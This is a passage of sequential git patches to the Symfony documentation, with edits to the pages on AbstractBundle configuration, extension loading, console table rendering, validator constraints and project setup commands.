-    {
-        "autoload": {
-            "psr-4": {
-                "Acme\\TestBundle\\": "src/"
-            }
-        },
-        "autoload-dev": {
-            "psr-4": {
-                "Acme\\TestBundle\\Tests\\": "tests/"
+    When using the new ``AbstractBundle`` class, the bundle defaults to the
+    new structure. Override the ``Bundle::getPath()`` method to change to
+    the old structure::
+
+        class AcmeTestBundle extends AbstractBundle
+        {
+            public function getPath(): string
+            {
+                return __DIR__;
             }
         }
-    }
 
-A bundle can be as small or large as the feature it implements. It contains
-only the files you need and nothing else.
+.. tip::
 
-As you move through the guides, you'll learn how to persist objects to a
-database, create and validate forms, create translations for your application,
-write tests and much more. Each of these has their own place and role within
-the bundle.
+    It's recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
+    and the location of the bundle's main class (relative to ``composer.json``)
+    as value. As the main class is located in the ``src/`` directory of the bundle:
+
+    .. code-block:: json
+
+        {
+            "autoload": {
+                "psr-4": {
+                    "Acme\\TestBundle\\": "src/"
+                }
+            },
+            "autoload-dev": {
+                "psr-4": {
+                    "Acme\\TestBundle\\Tests\\": "tests/"
+                }
+            }
+        }
 
 Learn more
 ----------
@@ -152,4 +164,5 @@ Learn more
 * :doc:`/bundles/prepend_extension`
 
 .. _`third-party bundles`: https://github.com/search?q=topic%3Asymfony-bundle&type=Repositories
+.. _`Symfony 4.4 bundle documentation`: https://symfony.com/doc/4.4/bundles.html#bundle-directory-structure
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index eda734f2020..374171bd07f 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -315,6 +315,88 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
+Using the Bundle Class
+----------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+Instead of creating an extension and configuration class, you can also
+extend :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to
+add this logic to the bundle class directly::
+
+    // src/AcmeSocialBundle.php
+    namespace Acme\SocialBundle;
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeSocialBundle extends AbstractBundle
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            $definition->rootNode()
+                ->children()
+                    ->arrayNode('twitter')
+                        ->children()
+                            ->integerNode('client_id')->end()
+                            ->scalarNode('client_secret')->end()
+                        ->end()
+                    ->end() // twitter
+                ->end()
+            ;
+        }
+
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // Contrary to the Extension class, the "$config" variable is already merged
+            // and processed. You can use it directly to configure the service container.
+            $container->services()
+                ->get('acme.social.twitter_client')
+                ->arg(0, $config['twitter']['client_id'])
+                ->arg(1, $config['twitter']['client_secret'])
+            ;
+        }
+    }
+
+.. note::
+
+    The ``configure()`` and ``loadExtension()`` methods are called only at compile time.
+
+.. tip::
+
+    The ``AbstractBundle::configure()`` method also allows to import the
+    configuration definitino from one or more files::
+
+        // src/AcmeSocialBundle.php
+
+        // ...
+        class AcmeSocialBundle extends AbstractBundle
+        {
+            public function configure(DefinitionConfigurator $definition): void
+            {
+                $definition->import('../config/definition.php');
+                // you can also use glob patterns
+                //$definition->import('../config/definition/*.php');
+            }
+
+            // ...
+        }
+
+    .. code-block:: php
+
+        // config/definition.php
+        use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+
+        return static function (DefinitionConfigurator $definition) {
+            $definition->rootNode()
+                ->children()
+                    ->scalarNode('foo')->defaultValue('bar')->end()
+                ->end()
+            ;
+        };
+
 Modifying the Configuration of Another Bundle
 ---------------------------------------------
 
@@ -431,57 +513,6 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
         <!-- ... -->
     </container>
 
-Defining Configuration directly in your Bundle class
-----------------------------------------------------
-
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
-
-As another option, you can define the extension configuration directly in your Bundle
-class by implementing :class:`Symfony\\Component\\Config\\Definition\\ConfigurableInterface`,
-which is already supported when your bundle extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`::
-
-    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-
-    class AcmeFooBundle extends AbstractBundle
-    {
-        public function configure(DefinitionConfigurator $definition): void
-        {
-            // loads config definition from a file
-            $definition->import('../config/definition.php');
-
-            // loads config definition from multiple files (when it's too long you can split it)
-            $definition->import('../config/definition/*.php');
-
-            // if the configuration is short, consider adding it in this class
-            $definition->rootNode()
-                ->children()
-                    ->scalarNode('foo')->defaultValue('bar')->end()
-                ->end()
-            ;
-        }
-    }
-
-This method is a shortcut of the previous "Extension", "Configuration" and "TreeBuilder" convention,
-now you also have the possibility to import configuration definition from an external file::
-
-    // Acme/FooBundle/config/definition.php
-    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-
-    return static function (DefinitionConfigurator $definition) {
-        $definition->rootNode()
-            ->children()
-                ->scalarNode('foo')->defaultValue('bar')->end()
-            ->end()
-        ;
-    };
-
-.. note::
-
-    The "configure()" method is called only at compile time.
-
 .. _`FrameworkBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
 .. _`TwigBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/TwigBundle/DependencyInjection/Configuration.php
 .. _`XML namespace`: https://en.wikipedia.org/wiki/XML_namespace
diff --git a/bundles/extension.rst b/bundles/extension.rst
index ca88860bbe0..b36bb8fb37e 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -97,7 +97,7 @@ For instance, assume you have a file called ``services.xml`` in the
     {
         $loader = new XmlFileLoader(
             $container,
-            new FileLocator(__DIR__.'/../Resources/config')
+            new FileLocator(__DIR__.'/../config')
         );
         $loader->load('services.xml');
     }
@@ -111,6 +111,57 @@ The Extension is also the class that handles the configuration for that
 particular bundle (e.g. the configuration in ``config/packages/<bundle_alias>.yaml``).
 To read more about it, see the ":doc:`/bundles/configuration`" article.
 
+Loading Services directly in your Bundle class
+----------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+Alternatively, you can define and load services configuration directly in a
+bundle class instead of creating a specific ``Extension`` class. You can do
+this by extending from :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
+method::
+
+    // ...
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+    class AcmeHelloBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // load an XML, PHP or Yaml file
+            $container->import('../config/services.xml');
+
+            // you can also add or replace parameters and services
+            $container->parameters()
+                ->set('acme_hello.phrase', $config['phrase'])
+            ;
+
+            if ($config['scream']) {
+                $container->services()
+                    ->get('acme_hello.printer')
+                        ->class(ScreamingPrinter::class)
+                ;
+            }
+        }
+    }
+
+This method works similar to the ``Extension::load()`` method, but it uses
+a new API to define and import service configuration.
+
+.. note::
+
+    Contrary to the ``$configs`` parameter in ``Extension::load()``, the
+    ``$config`` parameter is already merged and processed by the
+    ``AbstractBundle``.
+
+.. note::
+
+    The ``loadExtension()`` is called only at compile time.
+
 Adding Classes to Compile
 -------------------------
 
@@ -147,44 +198,3 @@ the full classmap executing the ``dump-autoload`` command of Composer.
     This technique can't be used when the classes to compile use the ``__DIR__``
     or ``__FILE__`` constants, because their values will change when loading
     these classes from the ``classes.php`` file.
-
-Loading Services directly in your Bundle class
-----------------------------------------------
-
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
-
-Alternatively, you can define and load services configuration directly in a bundle class
-by extending from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
-and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension` method::
-
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-
-    class AcmeFooBundle extends AbstractBundle
-    {
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
-        {
-            $container->parameters()
-                ->set('foo', $config['foo']);
-
-            $container->import('../config/services.php');
-
-            if ('bar' === $config['foo']) {
-                $container->services()
-                    ->set(Parser::class);
-            }
-        }
-    }
-
-This method is a shortcut of the previous "load()" method, but with more options
-to define and import the service configuration with less effort. The ``$config``
-argument is the previous ``$configs`` array but already merged and processed. And
-through the ``$container`` configurator you can import the services configuration
-from an external file in any supported format (php, yaml, xml) or simply define
-them in place using the fluent interfaces.
-
-.. note::
-
-    The "loadExtension()", as the "load()" method, are called only at compile time.
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 479e7d22b08..7e9f0195d8c 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -151,25 +151,20 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
             'use_acme_goodbye' => false,
         ]);
 
-More than one Bundle using PrependExtensionInterface
-----------------------------------------------------
-
-If there is more than one bundle that prepends the same extension and defines
-the same key, the bundle that is registered **first** will take priority:
-next bundles won't override this specific config setting.
-
-Prepending Extension directly in your Bundle class
---------------------------------------------------
+Prepending Extension in the Bundle Class
+----------------------------------------
 
 .. versionadded:: 6.1
 
     The ``AbstractBundle`` class is introduced in Symfony 6.1.
 
-By preference, you can append or prepend extension configuration directly in your Bundle
-class for any bundle by extending from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
-and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension` method::
+You can also append or prepend extension configuration directly in your
+Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
+method::
 
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
     class FooBundle extends AbstractBundle
@@ -191,10 +186,13 @@ and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle
         }
     }
 
-This method is a shortcut of the previous "PrependExtensionInterface::prepend" method,
-allowing you also to import and append extension config from an external file in one of
-the supported formats (php, yaml, xml).
-
 .. note::
 
-    The "prependExtension()" like "prepend()" method is called only at compile time.
+    The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
+
+More than one Bundle using PrependExtensionInterface
+----------------------------------------------------
+
+If there is more than one bundle that prepends the same extension and defines
+the same key, the bundle that is registered **first** will take priority:
+next bundles won't override this specific config setting.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index edb1f7426df..9cd2084858a 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -99,8 +99,8 @@ that define your bundles, your services and your routes:
     ``RoutingConfigurator`` has methods that make adding routes in PHP more
     fun. You can also load external routing files (shown below).
 
-Advanced Example: Configuration, Twig, Annotations and the Web Debug Toolbar
-----------------------------------------------------------------------------
+Advanced Example: Twig, Annotations and the Web Debug Toolbar
+-------------------------------------------------------------
 
 The purpose of the ``MicroKernelTrait`` is *not* to have a single-file application.
 Instead, its goal to give you the power to choose your bundles and structure.

From c85de085ed3021cf4cbf3786a3799b323e85406d Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 22 May 2022 12:22:19 -0400
Subject: [PATCH 3264/7107] Revert attribute route

---
 configuration/micro_kernel_trait.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 9cd2084858a..44b4c51b5d5 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -297,7 +297,9 @@ has one file in it::
 
     class MicroController extends AbstractController
     {
-        #[Route('/random/{limit}')]
+        /**
+         * @Route("/random/{limit}")
+         */
         public function randomNumber(int $limit): Response
         {
             $number = random_int(0, $limit);

From c426dbbcd160d4ba9d4276fca87b94759614b2d4 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 22 May 2022 12:25:51 -0400
Subject: [PATCH 3265/7107] Fix extension/config paths

---
 bundles/extension.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index b36bb8fb37e..d05bf79a911 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -30,7 +30,7 @@ follow these conventions (but later you'll learn how to skip them if needed):
 
 This is how the extension of an AcmeHelloBundle should look like::
 
-    // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
+    // src/DependencyInjection/AcmeHelloExtension.php
     namespace Acme\HelloBundle\DependencyInjection;
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -87,7 +87,7 @@ but it is more common if you put these definitions in a configuration file
 (using the YAML, XML or PHP format).
 
 For instance, assume you have a file called ``services.xml`` in the
-``Resources/config/`` directory of your bundle, your ``load()`` method looks like::
+``config/`` directory of your bundle, your ``load()`` method looks like::
 
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
@@ -97,7 +97,7 @@ For instance, assume you have a file called ``services.xml`` in the
     {
         $loader = new XmlFileLoader(
             $container,
-            new FileLocator(__DIR__.'/../config')
+            new FileLocator(__DIR__.'/../../config')
         );
         $loader->load('services.xml');
     }

From 7a24f08c9cab693b513e655e50ecbe85ac3ede46 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 22 May 2022 12:26:51 -0400
Subject: [PATCH 3266/7107] typo

---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 374171bd07f..2f3d7268b19 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -367,7 +367,7 @@ add this logic to the bundle class directly::
 .. tip::
 
     The ``AbstractBundle::configure()`` method also allows to import the
-    configuration definitino from one or more files::
+    configuration definition from one or more files::
 
         // src/AcmeSocialBundle.php
 

From b3a26c3b4ac0d19398310c22ee69bb4417cf0234 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 May 2022 16:15:41 +0200
Subject: [PATCH 3267/7107] Minor tweaks

---
 reference/constraints/ExpressionLanguageSyntax.rst | 4 ++--
 reference/constraints/ExpressionSyntax.rst         | 7 ++++---
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index fda9360b8ae..24d627ae16d 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -3,8 +3,8 @@ ExpressionLanguageSyntax
 
 .. deprecated:: 6.1
 
-    This constraint is deprecated since Symfony 6.1.
-    Use the``ExpressionSyntax`` constraint instead.
+    This constraint is deprecated since Symfony 6.1. Instead, use the
+    :doc:`ExpressionSyntax </reference/constraints/ExpressionSyntax>` constraint.
 
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index 9e97c3ffa38..3d0ef55f018 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -4,10 +4,11 @@ ExpressionSyntax
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
 
-.. info:: 6.1
+.. versionadded:: 6.1
 
-    This constraint is deprecated since Symfony 6.1.
-    Use the``ExpressionSyntax`` constraint instead.
+    This constraint was introduced in Symfony 6.1 and deprecates the previous
+    :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
+    constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From e9bd9c4c2f1bb562d68704158e95f33de7f098db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 May 2022 17:14:00 +0200
Subject: [PATCH 3268/7107] Minor tweak

---
 messenger.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 82c08d294d5..9a720af5d3c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -830,8 +830,9 @@ this is configurable for each transport:
 
 .. note::
 
-    Thanks to :class:`Symfony\\Component\\Messenger\\Stamp\\SerializedMessageStamp` the serialized form of the message
-    is saved, which prevents to serialize it again if the message is retried.
+    Thanks to :class:`Symfony\\Component\\Messenger\\Stamp\\SerializedMessageStamp`,
+    the serialized form of the message is saved, which prevents to serialize it
+    again if the message is later retried.
 
     .. versionadded:: 6.1
 

From 865bf6b81cacfab138ab3ddc34d6772cb667cbd5 Mon Sep 17 00:00:00 2001
From: Yoann Renard <renard.yoann@gmail.com>
Date: Sat, 21 May 2022 17:58:15 +0200
Subject: [PATCH 3269/7107] [Console] Table vertical rendering usage

---
 components/console/helpers/table.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 533e5466f56..a54fdf27bd0 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -150,6 +150,31 @@ The output of this command will be:
     |                (the rest of the rows...)            |
     +-------+------------+--------------------------------+
 
+Console tables content is displayed horizontally by default.
+You can change this behavior via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method::
+
+    // ...
+    $table->setVertical();
+    $table->render();
+
+The output of this command will be:
+
+.. code-block:: terminal
+
+    +------------------------------+
+    |   ISBN: 99921-58-10-7        |
+    |  Title: Divine Comedy        |
+    | Author: Dante Alighieri      |
+    |------------------------------|
+    |   ISBN: 9971-5-0210-0        |
+    |  Title: A Tale of Two Cities |
+    | Author: Charles Dickens      |
+    +------------------------------+
+
+.. versionadded:: 6.1
+
+    Support for vertical rendering was introduced in Symfony 6.1.
+
 The table style can be changed to any built-in styles via
 :method:`Symfony\\Component\\Console\\Helper\\Table::setStyle`::
 

From 0a59623734f39540f808876048cadb1f1cf2835a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 May 2022 17:34:59 +0200
Subject: [PATCH 3270/7107] Tweak

---
 components/console/helpers/table.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index a54fdf27bd0..a3294a69e31 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -150,8 +150,8 @@ The output of this command will be:
     |                (the rest of the rows...)            |
     +-------+------------+--------------------------------+
 
-Console tables content is displayed horizontally by default.
-You can change this behavior via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method::
+By default, table contents are displayed horizontally. You can change this behavior
+via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method::
 
     // ...
     $table->setVertical();

From e996acef2010159b26e6e0bdd8d075a75dfed000 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 May 2022 17:46:45 +0200
Subject: [PATCH 3271/7107] Minor reword

---
 service_container/lazy_services.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index a70b3358a84..7c9ff74637b 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -27,7 +27,8 @@ until you interact with the proxy in some way.
 
     Lazy services do not support `final`_ classes.
 
-    Lazy services do not support default parameters for php internals, like ``PDO`` in releases prior to PHP 8.0.
+    In PHP versions prior to 8.0 lazy services do not support parameters with
+    default values for built-in PHP classes (e.g. ``PDO``).
 
 Installation
 ------------

From e1b7cc21a3eefa38c761e796d2488d2f41be2708 Mon Sep 17 00:00:00 2001
From: guesmiii <med.guesmi1992@gmail.com>
Date: Mon, 23 May 2022 21:38:10 +0200
Subject: [PATCH 3272/7107] Clarify VALUE_IS_ARRAY usage

VALUE_IS_ARRAY can't be used alone and must be combined with VALUE_REQUIRED or VALUE_OPTIONAL else
we will get InvalidArgumentException('Impossible to have an option mode VALUE_IS_ARRAY if the option does not accept a value.')
---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index b7534d21abd..99c02f17607 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -217,7 +217,7 @@ There are four option variants you can use:
     This option may or may not have a value (e.g. ``--yell`` or
     ``--yell=loud``).
 
-You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
+You need to combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
 ``VALUE_OPTIONAL`` like this::
 
     $this

From 5c77c0b2739dee9b367c8c262db3781a362a2c01 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Tue, 24 May 2022 12:20:19 +0200
Subject: [PATCH 3273/7107] Fix example code block for lock component

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 76e4badb587..a24e7b9b199 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -106,7 +106,7 @@ can be created, pass ``true`` as the argument of the ``acquire()`` method. This
 is called a **blocking lock** because the execution of your application stops
 until the lock is acquired.
 
-Some of the built-in ``Store`` classes support this feature.
+Some of the built-in ``Store`` classes support this feature::
 
     use Symfony\Component\Lock\LockFactory;
     use Symfony\Component\Lock\Store\RedisStore;

From 75971005b4b4853e63fb5e288a8311a26cfb2e6e Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Mon, 23 May 2022 15:40:19 +0200
Subject: [PATCH 3274/7107] [Form][Security] Configure field_name under
 framework.form

---
 reference/configuration/framework.rst | 19 ++++++++++++++-----
 1 file changed, 14 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 9351742f3f2..d15bac0ba03 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -335,6 +335,15 @@ settings is configured.
 
     For more details, see :doc:`/forms`.
 
+.. _reference-form-field-name:
+
+field_name
+..........
+
+**type**: ``string`` **default**: ``_token``
+
+This is the field name that you should give to the CSRF token field of your forms.
+
 .. _reference-framework-csrf-protection:
 
 csrf_protection
@@ -357,14 +366,14 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
 .. configuration-block::
 
     .. code-block:: yaml
-    
+
         # config/packages/framework.yaml
         framework:
             # ...
             csrf_protection: true
-            
+
     .. code-block:: xml
-    
+
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
@@ -378,9 +387,9 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
                 <framework:csrf-protection enabled="true"/>
             </framework:config>
         </container>
-        
+
     .. code-block:: php
-    
+
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
         return static function (FrameworkConfig $framework) {

From 57fc9bda3b50e20c8603d8f3557eccd1b29b2fa2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 May 2022 15:21:47 +0200
Subject: [PATCH 3275/7107] Minor tweaks

---
 bundles/configuration.rst            | 2 +-
 bundles/extension.rst                | 4 ++--
 bundles/prepend_extension.rst        | 6 +++---
 configuration/micro_kernel_trait.rst | 2 +-
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 2f3d7268b19..ad9f53e8ac6 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -320,7 +320,7 @@ Using the Bundle Class
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
 Instead of creating an extension and configuration class, you can also
 extend :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to
diff --git a/bundles/extension.rst b/bundles/extension.rst
index d05bf79a911..614a7852921 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -116,7 +116,7 @@ Loading Services directly in your Bundle class
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
 Alternatively, you can define and load services configuration directly in a
 bundle class instead of creating a specific ``Extension`` class. You can do
@@ -125,8 +125,8 @@ and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle
 method::
 
     // ...
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
     class AcmeHelloBundle extends AbstractBundle
     {
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 7e9f0195d8c..827b5534837 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -156,16 +156,16 @@ Prepending Extension in the Bundle Class
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
 You can also append or prepend extension configuration directly in your
 Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
 method::
 
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
     class FooBundle extends AbstractBundle
     {
@@ -179,7 +179,7 @@ method::
             // append
             $container->extension('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
-            ])
+            ]);
 
             // append from file
             $container->import('../config/packages/cache.php');
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 44b4c51b5d5..d1ed9d05269 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -243,7 +243,7 @@ add a service conditionally based on the ``foo`` value::
 
 .. versionadded:: 6.1
 
-    The ``AbstractExtension`` class is introduced in Symfony 6.1.
+    The ``AbstractExtension`` class was introduced in Symfony 6.1.
 
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:

From 24d6af359527b8552ec9acd2076c89e90ced6a4c Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Tue, 31 May 2022 10:58:55 +0430
Subject: [PATCH 3276/7107] Update setup.rst

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 2c5e16fed95..9d52656900c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=next --webapp
+    $ symfony new my_project_directory --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version=next
+    $ symfony new my_project_directory
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"^6.1" my_project_directory
+    $ composer create-project symfony/skeleton my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"^6.1" my_project_directory
+    $ composer create-project symfony/skeleton my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies
@@ -273,14 +273,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=5.4
+    $ symfony new my_project_directory --version=6.0
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^5.4" my_project_directory
+    $ composer create-project symfony/skeleton:"^6.0" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From 0029c274624e063779d0fce2b196a26f1c26747a Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Tue, 31 May 2022 13:31:49 -0400
Subject: [PATCH 3277/7107] [Encore] Changing dev-server to use the new server
 option

---
 frontend/encore/dev-server.rst | 32 +++++++++++---------------------
 1 file changed, 11 insertions(+), 21 deletions(-)

